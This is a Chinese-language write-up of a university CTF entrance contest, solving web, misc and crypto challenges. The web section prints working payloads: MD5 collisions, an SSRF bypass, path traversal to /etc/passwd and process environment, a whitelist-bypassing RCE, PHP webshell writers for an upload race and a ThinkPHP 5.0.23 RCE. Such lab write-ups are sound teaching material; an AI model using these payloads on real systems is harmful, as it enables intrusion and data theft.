2024秋季云曦开学考

web

ezezssrf

打开环境,代码审计

看起来有点多,要绕过五层

第一层:存在==弱比较,使用数组或0e绕过

yunxi[]=1&wlgf[]=2
yunxi=s878926199a&wlgf=s155964671a

第二层:存在===强比较,此处使用string限制参数为字符串型,不能使用数组绕过。可使用两个MD5值完全相同的字符绕过

yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&
wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第三层:变量$GLG开头包含字符串 http://blog.csdn.net

if (strpos($GLG, 'http://blog.csdn.net') !== 0)
strpos 函数用于查找字符串 'http://blog.csdn.net' 在变量 $GLG 中的位置。
如果该字符串不在 $ GLG 的开头(即位置为0),则执行 die 函数终止脚本执行,并输出提示信息。

第四层:同样的使用了strpos 函数查找包含在$GLG中的变量$csdn里的中文“师姐,... ...”,可使用HTTP 基本身份认证绕过

GLG=http://blog.csdn.net@127.0.0.1

第五层:shell_exec()函数使页面无回显,使用>或tee命令将想要进行的命令执行存入1.txt文件,之后再访问1.txt文件即可。

cmd=cat /flag | tee 1.txt

最终payload:

yunxi=s878926199a&wlgf=s155964671a&yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt

知识点:

md5弱比较(==),强比较(===)

md5强比较&弱比较-CSDN博客

弱比较:只比较值,不比较类型

强比较:比较值,也比较类型

  • a==b   将a,b的值转换成同类型再比较值
  • a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false

 弱比较(==)绕过:

1.数组绕过:md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null。

2.0e绕过:以0e开头的数会被认为是科学计数法,0e+任何数 在科学计数法中都是0,故两数相等。

0e开头的md5和原值:
QNKCDZO:0e830400451993494058024219903391
240610708:0e462097431906509019562988736854
s878926199a:0e545993274517709034328855841020
s155964671a:0e342768416822451524974117254469

强比较(===)绕过:

1.数组绕过

2.md5值完全相同的字符绕过

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

万能通式ffifdyop 绕过:

or 对应的16进制:276f7227 

ffifdyop字符串,MD5加密后会变成276f7227 36c95d99e921722cf9ed621c

字符串前几位刚好是 ‘ or ‘6

select * from 'admin' where password=md5($pass,true)
输入md5('ffifdyop',true)绕过

HTTP 基本身份认证绕过SSRF:

CTFHUB技能树——SSRF绕过

HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
即    http://www.xxx.com@www.yyy.com形式

shell_exec()函数:

shell_exec()函数会让页面无回显

linux中 “tee” 是从标准输入读取,再写入标准输出和文件

在PHP中  ">"  是表示把什么写入什么文件的意思。

无回显,那就把它写进一个文件,然后访问这个文件即可

?cmd=ls /|tee 1.txt

?cmd= c''at \f*** |tee 1.txt(写进1.txt文件里)

windows系统命令拼接方式|:直接执行后面的语句。
||:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假。
&:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
&&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

小小py

此题要买flag,但是钱不够

直接购买提示金额不足:

发现右下角提示 *click to download our sweet images*  点击图片能够下载,使用bp抓包  发现图片的下载路径。

/download?image=2.jpg

下载地址可能存在任意文件下载漏洞:

尝试利用路径查看文件,发现不能直接回显。于是用目录穿越查看一下 /etc/passwd 回显成功

/download?image=../../etc/passwd// etc/passwd 文件包含了系统上所有用户的信息

尝试访问Python环境变量:得到flag

/download?image=../../proc/self/environ// proc/self  其路径指向当前进程
// environ    记录当前进程的环境变量信息

学习高数

打开环境就问你喜不喜欢高数~

提示说有1万个页面

使用bp抓包爆一下页面,设置数字从1到10000,找到index8887.html的特殊界面

cvFXZohgjf看起来像一个文件,尝试访问 cvFXZohgjf.php,代码审计 需绕过三层

$content = $_GET['GS'];    //将$_GET['GS']的值赋给$ contentif (strlen($content) >= 60) {die("不是哥们");     
}
//检查$content的长度是否小于60,如果大于等于60,程序终止并显示"不是哥们"。
// 定义一个黑名单数组$blacklist
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
//遍历$blacklist
//使用正则表达式检查$content中是否包含黑名单中的字符,如果包含,程序终止并显示"新号别搞"。foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("新号别搞");}}
// 定义一个白名单数组$whitelist,包含了允许在$content中使用的数学函数名称
$whitelist = ['abs', 'acos', 'acosh', 'asin',... ...];
// 使用正则表达式从$content中提取所有函数名称,存储在$used_funcs数组中。
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
// 使用正则表达式从$content中提取所有函数名称,存储在$used_funcs数组中。
// 遍历$used_funcs,检查其中的函数名是否都在$whitelist中,如果不在,程序终止并显示"虾啊"。
foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("虾啊");}}
eval('echo '.$content.';'); //使用eval函数,将$content中的内容安全地执行并输出

二次传参RCE

第一层:有长度小于60限制,可使用二次传参RCE的方式绕过

?GS=eval($_GET[1]);&1=system('ls');

第二层:但是过滤了很多字符,[ ] 可用{ } 绕过

?GS=$_GET{};$_GET{0}($_GET{1})&0=system&1=ls//?GS=$_GET{};         定义一个变量GS,其值为一个空数组
//$_GET{0}($ _GET{1})  尝试调用$_GET数组中的第一个元素作为函数,并将第二个元素作为参数传递给它
//&0=system 和 &1=ls   URL参数,分别被设计为0和1索引的值(命令执行)

异或构造所需字符

第三层:还要检测函数名是否都在$whitelist中

没有禁用 ^ 符号,于是可以通过异或构造想要的$whitelist中的字母

// 使用脚本利用白名单里的函数生成可用字符
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){for($i = 0;$i < 9; $i++){for($j = 0;$j <=9;$j++){$exp = $payload[$k] ^ $i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo "\n";}}
}

将得到的结果保存到记事本中,搜索需要构造的字符

对应字符       异或结果
_G            is_nan^(6).(4)
ET            tan^(1).(5)$GS=_GET ————> $GS=(is_nan^(6).(4)).(tan^(1).(5))

直接将上面的3个 _GET 改为 is_nan^(6).(4)).(tan^(1).(5) ,发现太长了~

可以将 _GET 赋值给参数$pi,就只用改1个_GET

(正常来说可随意使用题中所给数学函数作为参数,但是这里限制60的字符长度,有三个字母的函数用了还是会超出)

最终payload:

?GS=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag//$pi=$$pi; 这里使用了变量变量(variable variable),将$pi的值(即_GET)作为变量名,然后将_GET数组赋值给$pi。

得到flag(此处环境有点小问题,但是最终结果如下)

你能跟上我的speed吗

随便传一个文件,都是返回一张图片,根据题目的speed可以猜测为文件上传的条件竞争。

于是上传一句话木马文件,使用bp抓包爆破

<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(111) ?>

抓包上传文件的请求

抓包访问上传文件的路径(题目提示路径为./uploads)

不需要设置参数,payload type都设为null payloads,payload setting选择Continue indefinitely(无限循环抓包)

两边同时爆破,将文件上传路径页面回显111的页面发送到repeater,改1.php为shell.php,能访问成功

连接蚁剑得到flag

文件上传之条件竞争

文件上传之条件竞争

什么是条件竞争?

在上传文件源代码里面有校验上传的文件,文件直接上传,上传成功后才进行判断;

如果文件格式符合的情况下,则重命名,如果文件格式不符合要求,就将文件删除。


由于服务器并发处(同时)理多个请求,假如a用户上传了一个文件,b用户访问a用户的文件就会出现以下三种情况:
1.访问时间点在上传文件之前,没有此文件
2.访问时间在上传文件之后,且服务器还未将其删除,文件存在
3.访问时间点在服务器删除文件之后,文件不存在

注意:

使用bp

payload type 选择 null payloads
Payload options 选择 Continue indefinitely(无限循环抓包)

一句话木马:

<?php
$op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(333)
?>
//fopen(...)打开(或创建)名为'shell.php'的文件,并以写入模式(fwrite)进行操作。
//fputs(...):此函数将数据写入由fopen打开的文件。数据是作为字符串提供的。
//<?php eval($_POST[111]); ?>简单的php一句话木马,写入shell.php文件中。
//fclose($op)关闭文件。
//输出数字111,作为一种执行成功的标记。

真正的hacker!(flag1)(flag2)

打开环境是一个ThinkPHP页面

使用ThinkphpGUI工具扫描,发现存在5.0.23版本的rce漏洞

根据扫描出的payload读取flag1

GET传参:?s=captcha&test=-1
POST传参:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag1

访问后给了一个提示“命令执行只能得到flag1,真正的渗透大师热衷于getshell”,说明flag2需要getshell才能得到。

选择漏洞版本后并不能直接getshell

可以进行命令执行

whoami:操作系统中用于查看当前有效用户名的命令

pwd 查看当前路径
ls  查看上传路径

故可利用一句话木马进行命令执行,将一句话木马文件1.php上传到/var/www/public/uploads/路径下

echo '<?php eval($_POST[cmd]); ?>' > var/www/public/uploads/1.php
// 此处上传该木马,蚁剑连接不成功,应该有过滤

// 木马写入错了用rm uploads/1.php 删除文件后重新写入

echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" |base64 -d > /var/www/public/uploads/1.php
// 使用base64编码木马后再上传
// base64 -d 是一个命令行指令,用于对Base64编码的数据进行解码

使用蚁剑连接成功,得到flag2

Misc

misc大杂烩

解压后打开PPT,提示有6部分flag,考点简单,但是脑洞太大,所以也说没有思路就不用硬耗时间

考点一:盲水印

保存第二页的图片,使用工具分析吾爱破解WaterMark下载,得到flag1{hdy12-

 

考点二:word隐藏文字

打开是一个word文档

选中全文,点击字体,打开“字体”对话框。在“字体”对话框中,将“效果”栏下的【隐藏】取消勾选,然后点击确定,这样文档中隐藏的文字就全部取消隐藏状态并显示出来了。

得到flag2{1yhgzc5-

考点三:base64转图片

解压后使用010editor打开,发现base64编码转为图片,得到一个二维码

Base64转换图片工具

在线二维码解码器 ,解码得到 flag3{Ypt0a2-

考点四: Deepsound音频隐写

在音频文件里面,写入了其它的文件,比如flag.txt,也可以是图片等等,此时可以用deepsound进行解密。

 将考点4.wav文件放入Deepsound解密,提取1.txt文件得到  flag4{ghj8-

考点五:zip掩码爆破,埃特巴什码解密

有一个压缩包,解压时发现想要密码

根据提示可推测密码形式为 197.157.xx.xx 或 197.157.xxx.xxx

使用掩码爆破,得到解压密码197.157.76.98

解压成功后得到 uozt5{7ftzp-,再进行埃特巴什码解密得  flag5{7ugak-

Zip密码爆破

爆破:逐个尝试所有密码,直到遇到正确密码

字典:字典攻击的效率比爆破稍高,因为字典中存储了常用的密码,因此就避免了爆破时把时间浪费在无用的密码上。

掩码攻击:如果已知密码的某几位,如已知8位密码的第4位是Z,那么可以构造XXXZXXXX进行掩码攻击,掩码攻击的原理相当于构造了第4位为Z的字典,攻击效率也比逐个尝试的爆破方式高。

考点六: 文件16进制颠倒

使用010editor打开附件,可看见一个明显的PK头,但是被倒置了

使用python脚本给它倒回来,使用010打开就正常了

with open('原文件路径','rb') as f:           #倒置前with open('修改后文件路径','wb') as g:       #倒置后g.write(f.read()[::-1])


修改后缀为.zip,解压后得到图片及 flag6: 78uiag}

最终flag: Yunxi{hdy12-1yhgzc5-Ypt0a2-ghj8-7ugak-78uiag}

MISC1

下载附件后使用wireshark打开,发现有一短两长的规律

不改变当前顺序,发现短的最后一个字符拼接起来刚好是flag

flag{7823yed-3892hu-7euiwb-euwidbh82-7ueidw}

MISC2

解压得到一张损坏的图片

使用010editor分析,发现被倒转了 此处与上面不同,是4位倒置

使用脚本修复图片,得到一张图片

def restore_file(input_file, output_file):# 读取文件内容with open(input_file, 'rb') as f:data = f.read()restored_data = bytearray()# 每4个字节为一组for i in range(0, len(data), 4):# 取出4个字节并倒转顺序restored_data.extend(data[i:i+4][::-1])# 将恢复后的数据写入输出文件with open(output_file, 'wb') as f:f.write(restored_data)# 输入和输出文件路径
input_file = r'E:\yunlabs\4-digit.png'
output_file = r'E:\yunlabs\4-digit1.png'# 调用函数进行文件恢复
restore_file(input_file, output_file)

... ...

后面再看

mics-Make Png Great Again——CVE-2023-28303(截图修复)_windows10教育版激活密钥-CSDN博客

Crypto

mmmd5

下载附件后发现有很多MD5值

最直接的方法,使用在线网站一个一个解得flag

MD5免费在线解密破解_MD5在线加密-SOMD5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/426878.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

superset 解决在 mac 电脑上发送 slack 通知的问题

参考文档: https://superset.apache.org/docs/configuration/alerts-reports/ 核心配置: FROM apache/superset:3.1.0USER rootRUN apt-get update && \apt-get install --no-install-recommends -y firefox-esrENV GECKODRIVER_VERSION0.29.0 RUN wget -q https://g…

【智路】智路OS airos-edge

欢迎来到智路OS https://gitee.com/ZhiluCommunity/airos-edge 智路OS是全球首个开源开放的智能网联路侧单元操作系统&#xff08;简称“智路OS”&#xff09;&#xff0c; 是以高等级自动驾驶技术为牵引&#xff0c;沉淀出来的“车路云网图”一体化的智能交通基础软件平台。…

Ansible——Playbook基本功能

文章目录 一、Ansible Playbook介绍1、Playbook的简单组成1&#xff09;“play”2&#xff09;“task”3&#xff09;“playbook” 2、Playbook与ad-hoc简单对比区别联系 3、YAML文件语法&#xff1a;1. 基本结构2. 数据类型3. 列表4. 字典&#xff08;映射&#xff09;5. 注释…

【数据结构】排序算法---归并排序

文章目录 1. 定义2. 算法步骤3. 动图演示4. 性质5. 算法分析6. 代码实现C语言——迭代版C语言——递归版PythonJavaC——迭代版C——递归版Go 结语 1. 定义 归并排序&#xff08;Merge sort&#xff09;是建立在归并操作上的一种有效的排序算法。该算法是采用分治法&#xff0…

CentOS7.9环境上NFS搭建及使用

Linux环境NFS搭建及使用 1. 服务器规划2. NFS服务器配置2.1 主机名设置2.2 nfs安装2.2.1 repo文件替换2.2.2 NFS服务安装 2.3 nfs配置2.4 服务查看2.5 资源发布2.6 配置nfs服务开机自启2.7 端口开放 3.应用服务器配置3.1 主机名设置3.2 nfs安装3.2.1 repo文件替换3.2.2 NFS服务…

你真的需要理解Diffusion(扩散模型),它在视觉领域具有无与伦比的美丽!

【Vision结合Diffusion】模型的研究方向&#xff0c;探索了如何利用扩散模型在数据空间中模拟随机游走的特性&#xff0c;以生成高质量和逼真的图像。这一领域的研究&#xff0c;通过结合视觉感知和文本描述&#xff0c;推动了图像合成技术的发展&#xff0c;尤其是在个性化图像…

对人像图添加指定光源,再进行二次扩图

在一些业务场景中&#xff0c;需要对人像图片添加特定光源&#xff0c;来增加氛围感&#xff0c;例如赛博朋克科技、海边夕阳余晖、以及红蓝相间的高冷&#xff1b;但实现这个功能的难点是&#xff1a;如何将光源与原图片融合&#xff0c;在图片上产生正常光的镜面反射&#xf…

从数据仓库到数据中台再到数据飞轮:我了解的数据技术进化史

这里写目录标题 前言数据仓库&#xff1a;数据整合的起点数据中台&#xff1a;数据共享的桥梁数据飞轮&#xff1a;业务与数据的双向驱动结语 前言 在当今这个数据驱动的时代&#xff0c;企业发展离不开对数据的深度挖掘和高效利用。从最初的数据仓库&#xff0c;到后来的数据…

工业一体机在汽车零部件工厂ESOP系统中的关键作用

在当今竞争激烈的汽车市场中&#xff0c;汽车零部件工厂的高效生产和严格质量控制至关重要。而工业一体机在汽车零部件工厂的 ESOP&#xff08;电子标准化作业程序&#xff09;系统中发挥着关键作用。 一、汽车零部件工厂面临的挑战 汽车零部件的生产过程复杂且要求严格&#…

【sgCreateCallAPIFunctionParam】自定义小工具:敏捷开发→调用接口方法参数生成工具

<template><div :class"$options.name" class"sgDevTool"><sgHead /><div class"sg-container"><div class"sg-start"><div style"margin-bottom: 10px">参数列表[逗号模式]<el-too…

soc及其相关概念

用户无法直接操作内存&#xff0c;只能让内存映射到用户空间然后操作 1. 内存映射&#xff08;Memory-Mapped Files&#xff09;内存映射文件是一种方法&#xff0c;它允许一个或多个进程将一个文件或者一个匿名区域映射到它们各自的虚拟地址空间中。当文件被映射到内存后&…

Android WebView H5 Hybrid 混和开发

对于故乡&#xff0c;我忽然有了新的理解&#xff1a;人的故乡&#xff0c;并不止于一块特定的土地&#xff0c;而是一种辽阔无比的心情&#xff0c;不受空间和时间的限制&#xff1b;这心情一经唤起&#xff0c;就是你已经回到了故乡。——《记忆与印象》 前言 移动互联网发展…

前端开发之迭代器模式

在前端开发中&#xff0c;设计模式是提升代码可读性、可扩展性和可维护性的关键。迭代器模式&#xff08;Iterator Pattern&#xff09;是行为型设计模式中的一种&#xff0c;能够让我们顺序访问一个集合中的元素&#xff0c;而不暴露其底层的结构。在 TypeScript 这样具有类型…

Golang | Leetcode Golang题解之第406题根据身高重建队列

题目&#xff1a; 题解&#xff1a; func reconstructQueue(people [][]int) (ans [][]int) {sort.Slice(people, func(i, j int) bool {a, b : people[i], people[j]return a[0] > b[0] || a[0] b[0] && a[1] < b[1]})for _, person : range people {idx : pe…

element-ui 日期选择器设置禁用日期

element-ui 日期选择器设置禁用日期 效果图如下&#xff1a; 2024-09-01 到2024-09-18之间的日期都不可选 2024-01-01之前的日期都不可选 官方文档中 picker-options 相关的介绍 实现功能&#xff1a; ​ 某仓库有限制最大可放置资产数量&#xff0c;且资产出借和存放都有…

高端论坛报告分享 | 李维森:中国地理信息产业发展报告(2024)

本报告为中国地理信息产业协会会长李维森在“2024中国地理信息产业大会”所作报告《中国地理信息产业发展报告&#xff08;2024&#xff09;》。转载请注明来源于中国地理信息产业协会。 本报告为中国地理信息产业协会会长李维森在“2024中国地理信息产业大会”所作报告《中国地…

Linux系统应用之知识补充——OpenEuler(欧拉)的安装和基础配置

前言 这篇文章将会对OpenEuler的安装进行详解&#xff0c;一步一步跟着走下去就可以成功 注意 &#xff1a;以下的指令操作最好在root权限下进行&#xff08;即su - root&#xff09; ☀️工贵其久&#xff0c;业贵其专&#xff01; 1、OpenEuler的安装 这里我不过多介绍&a…

GPT-4-Turbo 和 Claude-3.5-Sonnet 图片识别出答题的是否正确 进行比较

1、比较的图片&#xff1a; 使用GPT-4-Turbo 输入的 提问&#xff1a; 识别图片中的印刷字和手写字&#xff0c;如果写错的给一个正确答案 图片 回复&#xff1a; 在图片中&#xff0c;印刷字显示的是一系列的英语填空练习题&#xff0c;而手写字则是填入空白处的答案。以…

运行容器应用

kubernetes通过各种controller来管理pod的生命周期&#xff0c;为了满足不同的业务场景&#xff0c;kubernetes开发了Deployment&#xff0c;ReplicaSet&#xff0c;DaemonSet&#xff0c;StatefulSet&#xff0c;Job等多种ControllerDeployment&#xff1a; kubectl run nginx…

WebSocket 协议

原文地址&#xff1a;xupengboo WebSocket WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议。 在 WebSocket API 中&#xff0c;浏览器和服务器只需要完成一次握手&#xff0c;两者之间就直接可以创建持久性的连接&#xff0c;并进行双向数据传输。…